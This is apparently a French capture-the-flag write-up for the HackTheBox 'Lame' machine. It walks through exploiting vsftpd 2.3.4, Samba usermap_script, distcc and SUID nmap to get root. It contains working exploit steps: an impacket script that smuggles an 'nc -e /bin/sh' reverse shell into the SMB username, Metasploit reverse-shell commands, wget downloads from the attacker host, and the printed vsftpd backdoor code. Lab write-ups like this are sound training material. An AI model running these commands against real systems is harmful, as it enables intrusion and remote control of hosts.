HACKTHEBOX - LAME
Lien : https://app.hackthebox.eu/machines/Lame
Note : C'est la toute première machine de HackTheBox
Enumeration
Output nmap
nmap -sC -sV lame.hackthebox.gr
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open netbios-ssn?
445/tcp open microsoft-ds Samba smbd 3.0.20-Debian
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h30m21s, deviation: 3h32m11s, median: 18s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
|[.docusaurus](..%2F..%2F..%2F..%2F.docusaurus) FQDN: lame.hackthebox.gr
|_ System time: 2023-02-08T03:50:36-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.35 seconds
On remarque un serveur FTP (avec une version assez ancienne) et un serveur Samba
SMB est un protocole propriétaire developpé par Microsoft pour permettre le parage de fichiers et d'autres fonctionnalités
SAMBA quant à lui est une implémentation libre de ce protocole qui permet d'utiliser le protocole SMB avec des machines windows. On parlera de serveur SAMBA pour désigner un serveur linux qui utilise le protocole SMB.
Exploitation
Exploitation FTP
La version de vsftp est assez obsolète : 2.3.4 . On peut regarder pour un exploit :
Output searchsploit
searchsploit vsftp
---------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote M | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
**vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py**
vsftpd 2.3.4 - Backdoor Command Execution (Me | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py
---------------------------------------------- ---------------------------------
Un exploit est disponible pour cette version !
msf6 > search vsftpd 2.3.4
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
On utilisera donc metasploit :
[*] Exploit completed, but no session was created.
L'exploit semble avoir marché mais pas de session obtenue. Cela est peut être du à un firewall interne qui bloquerait le reverse shell ?
Exploitation SMB
smbclient --no-pass -L //lame.hackthebox.gr
Output smbclient
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGRO
On liste le share tmp et $print :
Output smbclient
smb: \> dir
. D 0 Wed Feb 8 09:58:41 2023
.. DR 0 Sat Oct 31 08:33:58 2020
.ICE-unix DH 0 Wed Feb 8 09:50:00 2023
vmware-root DR 0 Wed Feb 8 09:50:31 2023
.X11-unix DH 0 Wed Feb 8 09:50:26 2023
5579.jsvc_up R 0 Wed Feb 8 09:51:03 2023
.X0-lock HR 11 Wed Feb 8 09:50:26 2023
vgauthsvclog.txt.0 R 1600 Wed Feb 8 09:49:57 2023
On obtient des fichiers, mais rien de bien interessant.
Cependant la version de SMB est assez ancienne -> 3.0.20
Cette version est vulnérable à cet exploit :
Samba 3.0.20 < 3.0.25rc3 - 'Username' map scr | unix/remote/16320.rb
Nous allons utiliser cet exploit avec le framework metasploit
Output metasploit
msf6 exploit(multi/samba/usermap_script) > show options
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set LPORT 445
msf6 exploit(multi/samba/usermap_script) > set LHOST tun0
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.16.4:4444
[*] Command shell session 1 opened (10.10.16.4:4444 -> 10.10.10.3:35973) at 2023-07-24 23:34:59 +0200
On obtient un shell root
Plus d'informatios sur ce module metasploit : https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/unix/ftp/vsftpd_234_backdoor
Pour aller plus loin - Exploitation manuelle
Explication du payload FTP
La faille utilisée sur VSFTP est une backdoor implémentée sur la version publique entre le 30 Juin 2011 et le 1er Juillet 2011.
Dans le code github, on peut voir le code implémenté de la backdoor :
else if((p_str->p_buf[i]==0x3a)
&& (p_str->p_buf[i+1]==0x29))
{
vsf_sysutil_extra();
}
Ici on voit que la fonction vsf_sysutil_extra();
est appelée si l'enchaînement de caractères :)
est détecté dans la requête FTP.
La fonction vsf_sysutil_extra();
est définie dans le fichier sysdeputil.c
:
{
int fd, rfd;
struct sockaddr_in sa;
if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) //Si la création du socket échoue, alors quitter le programme
exit(1);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET; //AF_INET correspond à la famille d'adresse IPv4. Seule une IPv4 pourra intéragir avec le socket
sa.sin_port = htons(6200); //Ici on spécifie le port d'écoute du socket
sa.sin_addr.s_addr = INADDR_ANY; //Enfin, on spécifie l'adresse IP d'écoute du socket (ici toutes les IP de toutes les interfaces)
if((bind(fd,(struct sockaddr *)&sa,
sizeof(struct sockaddr))) < 0) exit(1);
if((listen(fd, 100)) == -1) exit(1); // Mise en écoute du socket
for(;;) //Ce for explicite que le programme va tourner en boucle indéfiniment
{
rfd = accept(fd, 0, 0); //Accepte une connexion entrante
close(0); close(1); close(2);
dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
execl("/bin/sh","sh",(char *)0); //Remplace le processus actuel par un shell, qui permettera à l'attaquant d'intéragir avec le reverse shell
}
}
Probablement que derrière, il y a un firewall interne afin d'éviter l'apparition du reverse shell, sans pour autant indiquer que l'exploit ne serait pas possible. Si l'exploit aurait été possible, des personnes auraient vu le port 6200 en écoute, et auraient pu se connecter directelent
Donc, pour l'exploitation manuelle de cette backdoor, il aurait suffi.....d'insérer un :)
dans le username :)
Plus d'informations ici : https://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
Explication du payload Samba
La faille utilisée sur Samba est une faille de type RCE (Remote Code Execution) qui permet d'exécuter du code arbitraire sur la machine cible.
Cette faille est présente sur les versions de Samba 3.0.20 à 3.0.25rc3. Elle correspond a la CVE-2007-2447
Cette faille requiert une mauvaise configuration côté serveur, à savoir le champ username map script doit être configuré comme enabled
Cette dernière consiste à executer du code dans le username donné, avec ce format :
'/=`nohup [command]`'
Malheureusement, SMBClient formatte le username, et par conséquent ne nous permet pas de réaliser l'exploit.
Cependant, nous pouvons utiliser la librairie python impacket pour pouvoir réaliser l'exploit.
from impacket import smb
def send_smb_logon_packet(username, password, target_ip):
smb_client = smb.SMB(target_ip, target_ip)
smb_client.login(username, password)
if __name__ == "__main__":
target_ip = "10.10.10.3"
username = "`nohup nc -e /bin/sh 10.10.16.4 8080`"
password = ""
try:
send_smb_logon_packet(username, password, target_ip)
print("Login success")
except Exception as e:
print(f"Fail : {str(e)}")
Résultat :
Shell 1 :
Shell 2 :
Output des 2 shells
python scapy_smb.py
Failed to send SMB logon packet: The NETBIOS connection with the remote host timed out.
Shell 2 :
nc -nlvp 8080
listening on [any] 8080 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.3] 45693
Cependant notre shell n'est pas "stabilisé". Cela veut dire que si nous faisons un Ctrl+C, nous quittons notre terminal. Voici comment stabiliser un shell :
Premièrement, vérifiez bien que vous avez python d'installé :
which python
/usr/bin/python
Ensuite, vous pouvez faire cette commande afin d'avoir un shell :
python -c "import pty; pty.spawn('/bin/bash')"
root@lame:/#
Enfin, il nous faut indiquer a notre terminal de ne pas interpréter les charactères envoyés, et de les envoyer directement au shell. Pour cela, nous allons utiliser la commande stty
Ctrl+Z pour mettre le netcat en arrière plan
stty raw -echo && fg
export TERM=xterm-256-color
Pour résumer :
Vous voila avec un terminal totalement utilisable, avec l'autocompletion et les couleurs.
Une fois loggué, on remarque que le champ username map script est bien configuré avec un script :
username map script = /etc/samba/scripts/mapusers.sh
Ce script est par ailleurs vide.
Nouveau chemin : Via distccd
Lors du scan nmap initial, nous n'avons scanné que les 1000 ports les plus communs. Or, un port était ouvert et vulnérable mais ne figurait pas dans le scan initial :
Output du scan nmap
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
| distcc-cve2004-2687:
| VULNERABLE:
| distcc Daemon Command Execution
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2004-2687
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Allows executing of arbitrary commands on systems running distccd 3.1 and
| earlier. The vulnerability is the consequence of weak service configuration.
|
| Disclosure date: 2002-02-01
| Extra information:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2004-2687
| https://distcc.github.io/security.html
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Ce port correspond au service distcc, qui d'ailleurs est vulnérable à la cve-2004-2687 qui à pu être exploitée par le scan nmap.
DistCC est un service de compilation distribuée qui permet aux utilisateurs de répartir les tâches de compilation sur plusieurs machines d'un réseau, accélérant ainsi le processus de construction de projets logiciels.
Lorsque vous compilez un projet en utilisant DistCC, le client DistCC envoie les fichiers sources et les informations de compilation à travers le port TCP spécifié vers le démon DistCC sur la machine de compilation distante. Le démon DistCC traite ensuite les tâches de compilation en utilisant la puissance de calcul de la machine distante et renvoie les résultats au client.
Pour exploiter cette faille nous allons utiliser metasploit, notamment car l'exploit en C est assez commplexe, et sera fait dans le futur.
msf6 exploit(unix/misc/distcc_exec) > search DistCC
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution
On peut donc utiliser l'exploit exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > use exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > set payload /cmd/unix/generic
payload => cmd/unix/generic
msf6 exploit(unix/misc/distcc_exec) > show options
RHOSTS 10.10.10.3 yes The target host(s), see https://docs.metasploit.com/docs/using-meta
sploit/basics/using-metasploit.html
RPORT 3632 yes The target port (TCP)
Payload options (cmd/unix/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
Quand vous utilisez metasploit, toujours préférer le payload /cmd/unix/generic. En effet, ce payload est un payload générique qui permet d'exécuter n'importe quelle commande sur la machine cible.
Vous avez notamment plus de contrôle par rapport au payload par défaut, qui est le reverse bash (qui est un payload qui permet d'ouvrir un shell bash sur la machine cible).
On renseeigne les données nécéssaires :
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(unix/misc/distcc_exec) > set CMD nc -e /bin/sh 10.10.16.4 4444
CMD => nc -e /bin/sh 10.10.16.4 4444
msf6 exploit(unix/misc/distcc_exec) > run
Pour résumer :
Dans l'autre terminal :
Output du shell
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.3] 48639
whoami
daemon
Nous avons donc accès a un autre compte, nommé daemon
Privilege escalation via le compte daemon
La box étant assez ancienne, et par souci de simplicité, nous allons écarter les exploit kernel.
Mauvaises permissions clés ssh root
Avec un linpeas, on trouve cela :
-rw-r--r-- 1 root root 405 May 17 2010 /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
Ce qui m'intrigue, c'est que le user est msfadmin@metasploitable
. OpenSSH serait t-il vulnérable ?
Dans mes recherches, je tombe sur cet article : https://pentest.tonyng.net/metasploitable-ssh-exploits/
Ce dernier me parle de clés ssh présentes dans le fichier "authorized_keys". Ce dernier aussi mentionne l'user msfadmin
En allant plus loin, je tombe sur ce github : https://github.com/g0tmi1k/debian-ssh
Ce dernier parle également de clé ssh faibles, mais surtout cette phrase qui m'appelle :
All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected.
Maintenant, nous avons 2 manières de procéder :
- Via bruteforce
Il est possible d'utiliser un module metasploit afin de "bruteforcer" ces clés ssh :
msf6 exploit(unix/misc/distcc_exec) > use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 10.10.10.3
set USERNAME root
set KEY_PATH debian-ssh/common_keys/rsa/2048/
run
Cependant, cette méthode coute beaucoup de temps, et n'est pas forcément efficace. Utiliser cette technique si vous n'avez pas accès aux clés autorisées
- Via la méthode du repo github (recommandée)
Pour cela, il nous faut la signature de la clé autorisée :
ssh-keygen -l -f /root/.ssh/authorized_keys
2048 57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a /root/.ssh/authorized_keys
On concatène la signature : 57c3115d77c56390332dc5c49978627a
Puis rechercher la clé correspondante dans le repo :
find . -type f -name "*57c3115d77c56390332dc5c49978627a*"
./57c3115d77c56390332dc5c49978627a-5429
./57c3115d77c56390332dc5c49978627a-5429.pub
Puis ensuite il est possible de se connecter :
ssh -oHostKeyAlgorithms=+ssh-rsa -i 57c3115d77c56390332dc5c49978627a-5429 [email protected]
Je ne pouvais malheureusement pas me connecter via ma kali, car la version de ssh dans la box était trop ancienne, et les protocoles de chiffrements trop obsolètes.
Pour remédier à cela, on peut uploader les clés publiques et privées correspondantes, puis se connecter via le reverse shell :
wget 10.10.16.4/57c3115d77c56390332dc5c49978627a-5429
wget 10.10.16.4/57c3115d77c56390332dc5c49978627a-5429.pub
chmod 600 57c3115d77c56390332dc5c49978627a-5429
chmod 600 57c3115d77c56390332dc5c49978627a-5429.pub
ssh -i 57c3115d77c56390332dc5c49978627a-5429 [email protected]
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes
root@lame:~#
SUID sur nmap
SUID signifie Set User ID. C'est un bit qui peut être appliqué sur un fichier. Ce bit permet d'exécuter le fichier avec les droits de son propriétaire.
Dans le cas suivant, son propriétaire étant root, nous pouvons utiliser nmap en tant que root.
Pour identifier un programme avec le bit SUID, vous pouvez utiliser la commande find / -perm -u=s -type f 2>/dev/null
Un programme avec le bit SUID aura les permissions suivantes :
rwsr-xr-x root root
On remarque avec linpeas que nous avons les droits SUID sur nmap. A l'aide de sa page associée dans GTFO Bins (https://gtfobins.github.io/gtfobins/nmap/), on trouve 2 moyens de faire une escalation de privilèges :
- En utilisant le mode intéractif de nmap
Output
daemon@lame:/tmp$ nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap>
Bogus command -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
- En utilisant un script "fait maison"
Output
daemon@lame:/tmp$ echo 'os.execute("/bin/sh")' > scriptnmap.sh
daemon@lame:/tmp$ nmap --script=scriptnmap.sh 127.0.0.1
SCRIPT ENGINE: Warning: Loading './scriptnmap.sh' - the recommended file extension is '.nse'.
sh-3.2# whoami
root